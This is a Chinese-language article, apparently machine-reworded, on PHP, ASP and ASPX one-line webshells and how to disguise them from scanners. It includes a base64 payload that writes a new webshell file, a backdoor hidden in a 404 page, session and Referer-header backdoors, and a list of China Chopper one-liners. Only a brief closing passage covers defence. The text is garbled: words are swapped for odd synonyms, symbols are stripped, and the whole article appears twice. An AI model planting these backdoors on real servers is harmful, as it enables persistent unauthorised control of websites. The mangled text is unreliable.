一句话木马原理很简朴,造型也很简朴,所以造成了它懂得起来容易,抵御起来也容易。于是黑白的较量变成了黑帽不断的组成变形的后门,去掩蔽特性,而白帽则不断的更新过滤想法,建起更高的城墙。
一、原理简述对于差异的语言有差异的组成想法。
根本组成:最开头组成的是脚本开端的标志
核心部门:获取并执行得到的内容,通常相似eval、execute等
被执行内容:一般是等协议承受的值,通常相似request、$_POST等
假如我们通过客户端向服务器发送被执行内容,那么就会让服务器执行我们发送的脚本,挂马就实现了。
*asp一句话木马*execute(request(value))*php一句话木马*?phpeval($_POST[value]);?*aspx一句话木马*PageLanguage=Jscripteval(RequestItem[value])黑帽子的目标,就是想尽设法给目的网站插入这么一段会被储存起来的语句。可以是一个单独的脚本文件文件(asp 、php、aspx ),或者是隐藏在某些网页下的文件、代码等。
其中的value 就是客户端要发送的内容,然后通过客户端与服务器建立连接,发送管理脚本。也会涉及到一些任意文件上传破绽等。
二、简朴变形很显著的 eval 可以成为一个静态特性码,ebshell扫描工具可以以此为关键词,扫描到这种木马加以屏蔽。于是可以简朴变形不显露eval:
?php$_GET[a]($_POST[b])?同理,传给a值为 base64_decode(base64编码过后的eval)。
?php$_GET[a]($_GET[b]);?应用想法:
?a=assertb=${fputs28fopen28base64_decode28Yy5aHA29,29,base64_decode28PD9aHAgQGV2YWoJF9QT1NUW2NdKTsgPz4x2929};通过对GET请愿的URL组成而形成应用,左括号和右括号是URL编码,解码回来如下:
?a=assertb=${fputs(fopen(base64_decode(Yy5aHA),),base64_decode(PD9aHAgQGV2YWoJF9QT1NUW2NdKTsgPz4x))};PHP收取到GET请愿后相当于执行一个assert函数,并把b作为assert的参数。b里面采用略php的base64解码函数,把部门信息通过base64编码而绕过扫描,解码后如下:
?a=assertb=${fputs(fopen(cphp,),?phpeval($_POST[c]);?1)};执行后当前目录生成cphp文件并写入一句话木马,这已经算是一个非常掩蔽的木马了。而在PHP 后门的变形之路上,远远不止这些,甚至可以自己定义一个加密解密的函数,或者是应用xor, 字符串翻转,压缩,截断重组等等想法来绕过。
三、变形改善1404页面隐藏木马!DOCTYPEHTMLPUBLIC-IETFDTDHTML20ENhead title404NotFoundtitleheadbody h1NotFoundh1 pTherequestedURLasnotfoundonthisserverpbody?phppreg_replace([pageerror]e,$_POST[error],saft);header(HTTP11404NotFound);?一般404页面放好后,很少有人会定期对404页面进行查验和改动。
假如在404页面挂上了一句话后门,一方面不会被发明,另一方面,黑帽子很容易能定位到并连接上服务器。
2无特性隐藏PHP后门应用session:
?phpsession_start();$_POST[code]$_SESSION[theCode]=trim($_POST[code]);$_SESSION[theCode]preg_replace(\a\eis,eval(base64_decode($_SESSION[\theCode\])),a);应用$_SEESION变量来绕过扫描,将$_POST[code]赋值给$_SESSION[theCode],然后eval执行SESSION的内容。
应用HTTP_REFERER:
应用请愿中的HTTP_REFERER来运行途经base64编码的代码,到达后门的功效,采用两个文件。
?php1phpheader(Content-typetext;charset=utf-8);parse_str($_SERVER[HTTP_REFERER],$a);if(reset($a)==10count($a)==9){eval(base64_decode(str_replace(,+,implode(array_slice($a,6)))));}?php2phpheader(Content-typetext;charset=utf-8);要执行的代码$code=CODEphpinfo();CODE;进行base64编码$code=base64_encode($code);组成referer字符串$referer=a=10b=abc=34d=ree=32f=kmg={$code}h=i=;后门url$url=localhosttest11php;$ch=curl_init();$options=[CURLOPT_URL=$url,CURLOPT_HEADER=FALSE,CURLOPT_RETURNTRANSFER=TRUE,CURLOPT_REFERER=$referer];curl_setopt_array($ch,$options);echocurl_exec($ch);拜访2php,会组成一个会话,进到后门1php那里。然后在HTTP_REFERER 的内容也会传递给1php,通过1php 执行内容。一般来说,防火墙会对 referer字段宽松一些,就可造成绕过。
3常见的后门菜刀一句话$hh=preg_replace;$hh([discuz]e,$_POST[h],Access);危险的include函数,直接编译任何文件为php形式运行$filename=$_GET[xb];include($filename);重命名任何文件$reg=copy;$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);菜刀一句话$gz=preg_replace;$gz([discuz]e,$_POST[h],Access);gif插一句话危险的include函数,直接编译任何文件为php形式运行,POSTinclude($u);代表一句话?phpeval_r($_POST[s])??phpeval_r($_POST[s])?采用lanker一句话客户端的专家模式执行相关的php语句?phpassert($_POST[s]);??$_POST[a]($_POST[b]);??$_POST[a]($_POST[b],$_POST[c])?采用这个后,采用菜刀一句话客户端在配置连接的时候在配置一栏输入?phppreg_replace([email]e,$_POST[h],error);?Oh=eval_r($_POST1);O绕过?限制的一句话scriptlanguage=phpeval_r($_POST[sb])script四、攻防攻方:应用各种各样的绕过姿势,都是试图让扫描工具无效。
守方:解析各种各样的函数,寻找有效的特性码来防范后门。
黑帽子大牛:深入eb框架内核,发掘出代码不足,组成出复杂的后门应用。
安全审计人员:对那些通过GET,POST 获取的超全局变量,进行细致的追踪,组成适合的过滤器。
语义解析:对GET POST 等获取的值进行污染点追踪,以确保这些用户可控的值,不会未途经滤就得到了执行,或是进入数据库中。
针对超全局变量进行语义解析:$_GET
$_POST
$_REQUEST
$_SERVER
$_FILES
$_COOKIE
$_SESSION
$_ENV
$GLOBALS
根本组成:最开头组成的是脚本开端的标志
核心部门:获取并执行得到的内容,通常相似eval、execute等
被执行内容:一般是等协议承受的值,通常相似request、$_POST等
假如我们通过客户端向服务器发送被执行内容,那么就会让服务器执行我们发送的脚本,挂马就实现了。
*asp一句话木马*execute(request(value))*php一句话木马*?phpeval($_POST[value]);?*aspx一句话木马*PageLanguage=Jscripteval(RequestItem[value])黑帽子的目标,就是想尽设法给目的网站插入这么一段会被储存起来的语句。可以是一个单独的脚本文件文件(asp 、php、aspx ),或者是隐藏在某些网页下的文件、代码等。
其中的value 就是客户端要发送的内容,然后通过客户端与服务器建立连接,发送管理脚本。也会涉及到一些任意文件上传破绽等。
二、简朴变形
很显著的 eval 可以成为一个静态特性码,ebshell扫描工具可以以此为关键词,扫描到这种木马加以屏蔽。于是可以简朴变形不显露eval:
?php$_GET[a]($_POST[b])?同理,传给a值为 base64_decode(base64编码过后的eval)。
?php$_GET[a]($_GET[b]);?应用想法:
?a=assertb=${fputs28fopen28base64_decode28Yy5aHA29,29,base64_decode28PD9aHAgQGV2YWoJF9QT1NUW2NdKTsgPz4x2929};通过对GET请愿的URL组成而形成应用,左括号和右括号是URL编码,解码回来如下:
?a=assertb=${fputs(fopen(base64_decode(Yy5aHA),),base64_decode(PD9aHAgQGV2YWoJF9QT1NUW2NdKTsgPz4x))};PHP收取到GET请愿后相当于执行一个assert函数,并把b作为assert的参数。b里面采用略php的base64解码函数,把部门信息通过base64编码而绕过扫描,解码后如下:
?a=assertb=${fputs(fopen(cphp,),?phpeval($_POST[c]);?1)};执行后当前目录生成cphp文件并写入一句话木马,这已经算是一个非常掩蔽的木马了。而在PHP 后门的变形之路上,远远不止这些,甚至可以自己定义一个加密解密的函数,或者是应用xor, 字符串翻转,压缩,截断重组等等想法来绕过。
三、变形改善
1404页面隐藏木马
!DOCTYPEHTMLPUBLIC-IETFDTDHTML20ENhead title404NotFoundtitleheadbody h1NotFoundh1 pTherequestedURLasnotfoundonthisserverpbody?phppreg_replace([pageerror]e,$_POST[error],saft);header(HTTP11404NotFound);?一般404页面放好后,很少有人会定期对404页面进行查验和改动。
假如在404页面挂上了一句话后门,一方面不会被发明,另一方面,黑帽子很容易能定位到并连接上服务器。
2无特性隐藏PHP后门
应用session:
?phpsession_start();$_POST[code]$_SESSION[theCode]=trim($_POST[code]);$_SESSION[theCode]preg_replace(\a\eis,eval(base64_decode($_SESSION[\theCode\])),a);应用$_SEESION变量来绕过扫描,将$_POST[code]赋值给$_SESSION[theCode],然后eval执行SESSION的内容。
应用HTTP_REFERER:
应用请愿中的HTTP_REFERER来运行途经base64编码的代码,到达后门的功效,采用两个文件。
?php1phpheader(Content-typetext;charset=utf-8);parse_str($_SERVER[HTTP_REFERER],$a);if(reset($a)==10count($a)==9){eval(base64_decode(str_replace(,+,implode(array_slice($a,6)))));}?php2phpheader(Content-typetext;charset=utf-8);要执行的代码$code=CODEphpinfo();CODE;进行base64编码$code=base64_encode($code);组成referer字符串$referer=a=10b=abc=34d=ree=32f=kmg={$code}h=i=;后门url$url=localhosttest11php;$ch=curl_init();$options=[CURLOPT_URL=$url,CURLOPT_HEADER=FALSE,CURLOPT_RETURNTRANSFER=TRUE,CURLOPT_REFERER=$referer];curl_setopt_array($ch,$options);echocurl_exec($ch);拜访2php,会组成一个会话,进到后门1php那里。然后在HTTP_REFERER 的内容也会传递给1php,通过1php 执行内容。一般来说,防火墙会对 referer字段宽松一些,就可造成绕过。
3常见的后门
菜刀一句话$hh=preg_replace;$hh([discuz]e,$_POST[h],Access);危险的include函数,直接编译任何文件为php形式运行$filename=$_GET[xb];include($filename);重命名任何文件$reg=copy;$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);菜刀一句话$gz=preg_replace;$gz([discuz]e,$_POST[h],Access);gif插一句话危险的include函数,直接编译任何文件为php形式运行,POSTinclude($u);代表一句话?phpeval_r($_POST[s])??phpeval_r($_POST[s])?采用lanker一句话客户端的专家模式执行相关的php语句?phpassert($_POST[s]);??$_POST[a]($_POST[b]);??$_POST[a]($_POST[b],$_POST[c])?采用这个后,采用菜刀一句话客户端在配置连接的时候在配置一栏输入?phppreg_replace([email]e,$_POST[h],error);?Oh=eval_r($_POST1);O绕过?限制的一句话scriptlanguage=phpeval_r($_POST[sb])script四、攻防
攻方:应用各种各样的绕过姿势,都是试图让扫描工具无效。
守方:解析各种各样的函数,寻找有效的特性码来防范后门。
黑帽子大牛:深入eb框架内核,发掘出代码不足,组成出复杂的后门应用。
安全审计人员:对那些通过GET,POST 获取的超全局变量,进行细致的追踪,组成适合的过滤器。
语义解析:对GET POST 等获取的值进行污染点追踪,以确保这些用户可控的值,不会未途经滤就得到了执行,或是进入数据库中。
针对超全局变量进行语义解析:
$_GET
$_POST
$_REQUEST
$_SERVER
$_FILES
$_COOKIE
$_SESSION
$_ENV
$GLOBALS